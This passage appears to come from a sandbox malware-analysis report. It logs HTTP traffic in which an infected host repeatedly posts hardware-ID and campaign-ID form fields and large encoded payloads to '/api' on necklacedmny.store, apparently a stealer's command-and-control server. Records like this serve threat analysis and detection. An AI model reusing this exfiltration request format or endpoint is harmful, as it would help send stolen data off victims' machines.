i1s4+MopuGaGLdXjwA595ZsF/Qkkg2ON5SBxLj7rdauHe13dmx10XtJpwPssfnGlrzXYIVW/LqnlMWxDd/Jwj5cmWJirjXwy/izYljwzcaGGMK0JSZM6neUhaFsmx02zj0dl6YcNeH7yeez7TH5dgYcV/DxYggaRmBART/rHcbeXHlmEk0xgZvdsuesAZk2xiz3ADXHzTr3dMWR/EstRx5N7ffWnDXxa9kXU9gVvcaHWMK0J1edGuPlsSCo+73i
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 62 47 2f 4d 56 78 47 34 6b 6e 49 79 77 68 57 59 61 32 72 4a 63 41 35 64 61 63 4b 73 65 6b 31 53 47 73 44 38 6e 43 50 6c 79 5a 59 6d 4b 75 74 44 48 62 32 57 4e 69 57 50 44 4e 78 6f 59 59 77 72 51 6c 70 67 78 4b 4e 30 51 6c 67 57 79 62 62 58 59 2b 6e 53 32 58 70 73 7a 6c 63 65 75 70 4a 33 50 4d 51 66 6c 32 6c 67 7a 33 55 45 46 69 43 42 70 47 59 45 42 46 50 76 70 39 39 76 35 5a 48 4a 4d 48 4f 4b 58 78 4c 78 77 7a 59 78 7a 52 47 62 62 32 44 50 65 77 64 53 5a 4d 53 6a 64 6c 5a 55 45 38 69 75 77 47 50 72 31 4e 70 39 61 73 35 65 46 37 65 59 63 6e 71 50 56 5a 74 33 4c 5a 51 7a 4c 31 70 70 36 4b 52 6c 42 45 4e 64 31 76 7a 56 62 36 4b 4a 6c 6e 39 68 77 46 63 54 73 70 31 31 4d 63 51 66 6e 57 68 6c 77 57 45 42 57 57 48 46 6f 33 46 43 57 68 4c 41 75 74 56 71 34 39 6e Data Ascii: bG/MVxG4knIywhWYa2rJcA5dacKsek1SGsD8nCPlyZYmKutDHb2WNiWPDNxoYYwrQlpgxKN0QlgWybbXY+nS2XpszlceupJ3PMQfl2lgz3UEFiCBpGYEBFPvp99v5ZHJMHOKXxLxwzYxzRGbb2DPewdSZMSjdlZUE8iuwGPr1Np9as5eF7eYcnqPVZt3LZQzL1pp6KRlBENd1vzVb6KJln9hwFcTsp11McQfnWhlwWEBWWHFo3FCWhLAutVq49n
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 47 59 35 70 35 46 78 4b 73 59 43 6b 79 38 6a 6a 48 78 43 44 6c 65 42 71 6e 6c 66 54 51 58 43 72 4e 55 6a 33 5a 2b 57 5a 69 71 53 47 43 75 79 6c 58 67 39 31 77 54 52 53 48 76 47 64 42 4a 52 65 63 37 6a 4d 41 52 61 55 35 66 76 6e 43 50 6d 77 4a 59 6d 4f 70 67 44 53 2b 4c 4d 4a 6d 6a 65 57 34 55 76 65 34 77 72 55 42 67 75 30 2b 4d 6d 42 42 73 51 33 61 37 55 59 50 54 53 6b 55 42 55 37 55 49 54 74 34 78 6e 42 50 38 53 68 6d 4a 72 32 32 4a 4f 51 32 33 50 72 58 6c 53 48 46 32 50 73 35 49 37 32 35 47 65 50 6c 57 45 47 41 62 78 77 7a 59 50 77 68 75 53 61 48 76 64 50 69 56 4d 59 38 65 30 62 77 51 53 55 38 6e 38 69 6a 4f 73 6b 64 4a 76 4b 70 49 49 54 4f 72 4f 4a 57 32 52 52 34 4d 68 64 49 78 6c 51 67 34 38 6a 2b 4e 73 42 41 52 54 69 4c 2f 41 63 65 54 53 77 48 30 74 Data Ascii: GY5p5FxKsYCky8jjHxCDleBqnlfTQXCrNUj3Z+WZiqSGCuylXg91wTRSHvGdBJRec7jMARaU5fvnCPmwJYmOpgDS+LMJmjeW4Uve4wrUBgu0+MmBBsQ3a7UYPTSkUBU7UITt4xnBP8ShmJr22JOQ23PrXlSHF2Ps5I725GePlWEGAbxwzYPwhuSaHvdPiVMY8e0bwQSU8n8ijOskdJvKpIITOrOJW2RR4MhdIxlQg48j+NsBARTiL/AceTSwH0t
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 6e 62 51 7a 6e 50 47 35 74 35 66 49 46 55 44 46 46 76 31 37 4e 70 53 78 78 64 6a 37 71 53 4f 37 43 66 6c 6e 70 37 69 67 42 4f 34 38 41 6a 61 5a 5a 46 7a 6e 41 6a 31 54 4d 55 46 6a 61 54 37 54 35 57 48 45 75 50 2b 39 46 78 38 4e 66 56 61 47 6d 4e 5a 69 43 57 6c 58 45 37 31 77 57 4c 59 43 4c 69 52 53 4e 6f 55 4e 53 67 63 45 70 62 42 64 37 38 6e 43 50 74 6b 59 35 48 4b 6f 49 59 49 66 2f 62 62 6e 71 5a 56 61 6c 73 59 38 4a 30 46 45 63 6a 35 71 31 35 52 55 6f 44 32 4c 4f 64 54 64 54 77 6c 6a 41 71 7a 42 68 47 34 39 55 32 50 74 42 56 78 44 38 2f 6c 79 5a 52 41 54 36 54 76 44 42 64 48 41 57 50 35 49 41 74 6f 73 4f 57 4a 69 71 4e 57 77 79 6a 6e 58 55 73 77 6c 4b 69 55 55 72 43 64 41 4e 41 66 73 79 76 58 30 64 4e 47 66 47 43 78 32 44 73 33 39 46 6f 65 34 6f 57 58 Data Ascii: nbQznPG5t5fIFUDFFv17NpSxxdj7qSO7Cflnp7igBO48AjaZZFznAj1TMUFjaT7T5WHEuP+9Fx8NfVaGmNZiCWlXE71wWLYCLiRSNoUNSgcEpbBd78nCPtkY5HKoIYIf/bbnqZValsY8J0FEcj5q15RUoD2LOdTdTwljAqzBhG49U2PtBVxD8/lyZRAT6TvDBdHAWP5IAtosOWJiqNWwyjnXUswlKiUUrCdANAfsyvX0dNGfGCx2Ds39Foe4oWX
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 2b 31 77 43 66 66 32 72 79 54 53 39 45 61 64 47 67 50 47 68 62 48 73 4f 43 37 46 54 7a 31 73 59 38 54 4d 6c 4f 48 66 48 56 4e 69 4b 42 54 64 78 43 66 38 74 6a 41 52 52 43 78 71 35 79 42 45 4e 64 31 76 7a 45 49 37 71 43 6d 44 35 34 69 67 42 65 39 70 68 6b 4b 4d 63 57 69 6d 77 71 38 6b 30 76 52 47 6e 52 6f 44 78 31 55 52 66 5a 71 64 46 7a 35 65 2f 6f 55 33 6a 4e 53 42 33 7a 76 6b 78 34 38 41 4f 66 62 32 50 4c 4d 30 77 57 64 6f 48 37 50 6d 6c 4f 46 4e 2b 2f 6b 45 62 59 6b 2b 64 6f 61 63 70 57 47 66 47 45 4f 43 4f 42 41 39 77 33 50 6f 49 7a 45 42 59 32 67 65 52 77 53 56 30 51 77 62 2f 41 63 65 54 53 77 48 30 74 39 47 59 78 75 70 70 6d 4e 39 41 59 6d 48 6c 54 38 6c 51 45 55 32 6e 2f 6e 55 6c 56 57 77 4f 4e 6d 74 46 31 34 5a 47 59 50 6e 4b 4b 41 46 36 57 6e 58 Data Ascii: +1wCff2ryTS9EadGgPGhbHsOC7FTz1sY8TMlOHfHVNiKBTdxCf8tjARRCxq5yBENd1vzEI7qCmD54igBe9phkKMcWimwq8k0vRGnRoDx1URfZqdFz5e/oU3jNSB3zvkx48AOfb2PLM0wWdoH7PmlOFN+/kEbYk+doacpWGfGEOCOBA9w3PoIzEBY2geRwSV0Qwb/AceTSwH0t9GYxuppmN9AYmHlT8lQEU2n/nUlVWwONmtF14ZGYPnKKAF6WnX

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	50029	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:29 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-31 01:10:29 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:10:29 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r1fr5hpmqb8nrpk7fm1e96bd15; expires=Sun, 23-Feb-2025 18:57:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AHp6kVtqVkCrNH5DBnjOT9Q1mJZLW3UxVSaFzziznFW9cpOojyz4TZKev9x1kfdqJSavUwnRtmnLzvCZtvD6fWSxuW5QOUFm6IlKhPNfXS6uUHGTaMLpnWjqlo%2BeZetsEx3TDbM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc4008f984692-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1262&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2227692&cwnd=250&unsent_bytes=0&cid=7ad00f90efad24cf&ts=581&x=0"
2024-10-31 01:10:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:10:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	50031	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:30 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-31 01:10:30 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:10:31 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ud6i00qhmb7sjr9tli1cr9ja0r; expires=Sun, 23-Feb-2025 18:57:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7p8yBbe6VJqb4ayWu70LnODmA4e83Csoxfu%2FcMd5qIjXARqXeF4Dlr%2Fx0yRLfaAGAkcz01ZxONDKnJTNXOzNUUH91pz9jBifpgQiAfUuHtHo3TNsKeNSlxGmOOh94YwpRi7MaMA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc4097fdae712-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1620&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=1652968&cwnd=247&unsent_bytes=0&cid=fac7d96a3aa6ebe7&ts=527&x=0"
2024-10-31 01:10:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:10:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	50032	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-31 01:10:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:10:32 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-31 01:10:32 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6vrue4fucb5okraf9llaro0fkf; expires=Sun, 23-Feb-2025 18:57:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sl%2BkgfUfvYWP7DVmyAi2zoY55UqGjxnSgpiR8BHF4Lex00N0vf42%2Bhf0u%2BqF6C4ETeTDDK4EmUk7yR8HKlioaOwMRMktzIGygiU0PqywXZsOnZFGDDeIln5LKY3gK0E%2BrpFXfhw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc412fe28e8fd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1575&sent=16&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21536&delivery_rate=1807740&cwnd=251&unsent_bytes=0&cid=323f26d53117f01b&ts=939&x=0"
2024-10-31 01:10:32 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:10:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	50033	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:33 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1281 Host: necklacedmny.store
2024-10-31 01:10:33 UTC	1281	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:10:34 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gn9v8a9h38dlpt1808t2mdl1el; expires=Sun, 23-Feb-2025 18:57:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Uy0dCE9FOlBzz%2F8CfRRq%2BXp49fAAYHCy37hAWdwui9tpzT5cbIPOOvjtFxHDMRRe0wwOL66PgxG8EfAyjvSWh%2FCm0s4i%2Bk%2BeJAhLLs4Kb8rGEdbv2kLpOKlX0JWFc0b9bk9bwoE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc41e9c0545f9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1211&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2200&delivery_rate=2409317&cwnd=238&unsent_bytes=0&cid=58086293f81e1dab&ts=341&x=0"
2024-10-31 01:10:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:10:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	50034	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:40 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585907 Host: necklacedmny.store
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: b2 67 9b 8c 29 75 da a8 b9 c0 88 cc 76 be 9a 1c a6 53 8d 70 fb 30 2c 20 ba f2 c8 df 25 7f 49 69 f1 24 47 45 39 58 10 f8 59 c4 35 07 08 80 37 42 76 6a b5 e0 7a 88 d3 81 31 8d db 15 a2 eb 1a f5 db cc ad 47 12 02 f2 62 cb 58 c2 bd 50 73 bd 00 61 92 14 a9 d2 e4 5d 60 69 d9 ce fd f2 b4 72 93 20 21 bd f3 d5 e3 42 16 46 aa b0 ef c1 27 cc 77 85 0e 7d 5c 9e 38 ad 1c 5d 25 08 c4 2a 27 9f e7 03 ea 54 03 56 bb fc d4 82 43 af c1 af a7 ab 95 ae ff c9 a1 60 71 ce c8 eb 07 a1 ae a2 ac c5 df d4 f6 c7 f0 47 27 18 c0 17 e5 5b 6d 0f ca db 20 3f f7 0b d8 b9 31 3b 9e e9 b2 fe e7 0f ca dc 99 55 7e 77 2b 81 c9 6e 48 1e 19 bd 37 f6 80 fd 48 57 a9 53 60 6f fe 5b 68 3b ea f2 18 b0 4b be fc 6f 43 67 5d 35 c2 0f 3a c0 1c 0e 11 9b d4 7c 04 70 bc 12 01 92 4c d3 06 73 34 d6 3f 99 55 40 Data Ascii: g)uvSp0, %Ii$GE9XY57Bvjz1GbXPsa]`ir !BF'w}\8]%*'TVC`qG'[m ?1;U~w+nH7HWS`o[h;KoCg]5:\|pLs4?U@
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 26 6c 37 71 3b 5c fc a9 fa 46 81 30 0a d5 35 1d 7e fe a7 78 f4 cd 32 bb ed 32 92 a2 44 fa 27 ca f7 cb a6 b1 81 06 65 af e9 9d 65 bf ee bf 0f f7 cb 8e 8b 8d dd d0 3a 8f 7c 5c 37 cf 41 84 e7 ba 2c fa 3c 47 17 75 74 4d 96 79 61 67 3b fa af 3d 84 6c da 02 b1 ed 83 b9 d4 af 51 25 ba d8 db 7c ca ac a0 af 00 38 bb 4d 0f 72 ef ec 98 61 38 6d 56 0e 2c 55 ee 58 b0 3f c0 6b 1f 0a 1e 4f 5c b8 a9 78 99 5e b7 3e bf 38 68 a6 b7 b8 a2 43 ff a3 05 10 3b 17 a3 8e 68 05 e5 64 fa bf 30 d9 98 7a ea 7c 75 38 41 65 6f f5 4c 7d b7 c9 9e ac aa 6d 68 f8 01 83 48 49 42 81 78 33 af b6 1a eb 41 86 3c 37 94 d7 4d 1f fa df 73 2a 4f 03 fa ee df da e3 a1 17 04 22 2e 80 f0 a1 9b e1 1e 80 2d fb 14 80 93 66 a0 3f 1c f4 5f 9f f1 41 be 2d 06 14 9e 13 b7 f9 7f 0f e7 49 3a 2a 60 f3 5a 14 41 cf Data Ascii: &l7q;\F05~x22D'ee:\|\7A,<GutMyag;=lQ%\|8Mra8mV,UX?kO\x^>8hC;hd0z\|u8AeoL}mhHIBx3A<7MsO".-f?_A-I:`ZA
2024-10-31 01:10:40 UTC	15331	OUT	Data Raw: 83 a3 c2 f9 37 3a fb 72 8f 12 20 f8 6f 49 a1 a3 e3 61 f8 68 af d8 3f fd dd c3 52 e5 39 2a 14 c1 c3 cf 61 27 65 95 ae 0f da f5 94 d0 4e c0 b2 2a d7 c4 f8 ad ea 8e 98 19 2a 7f 55 ba 97 09 da cb 04 8b a5 ed 98 42 0e c0 52 27 3b b4 06 f0 28 db a8 4f ac a8 20 c8 45 7d 10 a9 18 2f 8e de b3 9b 5d 78 94 c9 77 f8 c8 78 05 5d 61 a6 25 4b 5e 49 c1 39 cc 01 5c 81 65 d6 19 f9 0b 38 c4 f6 1a 83 06 97 5b 08 bf 7b f4 33 db c9 5c a7 54 0f 9e e4 a7 70 5a 57 98 14 07 fe 85 95 af d8 8d 95 fa 57 07 ac 96 55 7c 53 25 6d a9 05 38 a6 54 3f 3f f9 e0 07 e7 20 38 12 72 49 04 f0 36 65 90 48 43 82 34 b0 4b b9 98 11 28 d4 64 6f ec a8 e6 9b 15 64 29 5d d3 5d 06 08 fb b7 b5 a2 e6 d9 0b 25 82 af c5 80 e8 c1 ab 23 8e ca 60 a3 87 13 cc 91 e4 ae ce fa 14 7d 60 4d 0b 71 b6 d0 15 eb aa d4 b2 Data Ascii: 7:r oIah?R9a'eN*UBR';(O E}/]xwx]a%K^I9\e8[{3\TpZWWU\|S%m8T?? 8rI6eHC4K(dod)]]%#`}`Mq
